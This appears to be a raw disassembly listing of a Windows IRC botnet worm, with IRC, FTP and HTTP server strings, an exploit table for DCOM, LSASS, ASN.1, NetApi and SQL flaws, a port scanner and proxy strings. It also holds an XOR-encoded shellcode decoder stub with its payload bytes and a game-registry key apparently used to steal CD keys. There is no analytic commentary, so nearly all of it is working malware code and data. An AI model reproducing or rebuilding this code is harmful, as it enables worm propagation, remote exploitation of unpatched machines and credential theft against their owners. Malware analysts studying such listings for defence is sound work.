a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
					; ___:0042F830o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B5r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------

loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96

loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
